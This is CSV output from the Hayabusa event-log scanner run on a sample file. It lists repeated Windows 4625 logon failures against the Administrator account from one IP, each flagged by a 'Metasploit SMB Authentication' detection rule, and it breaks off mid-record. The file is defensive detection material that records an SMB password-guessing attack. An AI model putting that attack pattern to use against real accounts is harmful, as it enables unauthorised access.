Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.374 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zOtV8CLIU6Mcw2ty : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.374 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.412 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b8NJqimhGrg9uhTh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.412 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.457 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XEWLTOY9magV0h6L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.457 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.497 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Di1MZsJx52Bi8E6k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.497 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.536 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 22MdB2QodynfibkF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.536 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Qojej3YITXvXJ6Pe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.580 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.618 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CLjbQ6timbdQoufd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.618 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.653 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aZgoAnGEFwXN88bQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.653 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.698 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NZFWoL9XUMJdfNnY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.698 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.747 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x000TRnXfVtPAQSE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.747 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.801 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HNHWWHDOpXQyNdrR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.801 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.861 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1irbPdOoUfvq1MXd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.861 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.906 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dCflbKOMPJRXQHsD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.906 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.942 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Zuy6nD4EXeGzEy5e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.942 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.984 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xkig4u0LIS9v3HMK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.984 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.029 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 94RbUrUcMf6VhP8A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.029 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.069 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: X9f7wCJ3wI9RmZTL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.069 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.117 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LkVs1viGo4RxhFaY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.117 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OKMLt6t01vUDDq1s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.212 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.254 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xYSif8ADOkC8aInB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.254 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EpmraSe2sxFVupTy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.300 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.352 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VPtfy3AxXpt9D3bx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.352 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.397 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tRMOrE0Ba983q0Jv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.397 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.437 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jQ0nkyTAeJt3dCpx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.437 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.489 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n2fdsRMU9SMm1KpL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.489 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.538 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3kliEPBsbsYNI7yG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.538 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9gEKFGsRvvlzulxR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.580 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.625 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5M6oUbT8LvS7JNCq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.625 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.661 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E4dxHwRQVR7iBWa1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.661 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.697 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VRygirU257VfFcR5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.697 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.742 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6H6i0wkjvWkU6cmp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.742 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: W4Nh7bYfVvx30hVF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.793 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.849 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GQEsO4GpVjO5xpRh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.849 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.885 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c9ZlpSBwq0tLAgzm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.885 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.933 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 65Piip53B1AiSBqb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.933 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.974 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Bh7SfuheoykW7Aym : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.974 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.019 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tWdm76C4nL6tkU0Z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.019 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.065 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u2WEqTrg3A760Axt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.065 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oyqhXspTlWwVCwA3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.116 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.160 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4rkidbQJmvQr35Jg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.160 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.193 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zr92VsL1YgHVehnL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.193 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.235 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rQP1K9rHrOyL0TOc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.235 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.281 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LR783q3o34oLQLTI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.281 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.320 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6NCTNhcghRGWf1qi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.320 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.354 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CVJdStLdKDbUICyB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.354 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.400 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: luAoVhEj1rOgZBfp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.400 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.453 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OrqmovxoEEjLCaYV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.453 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 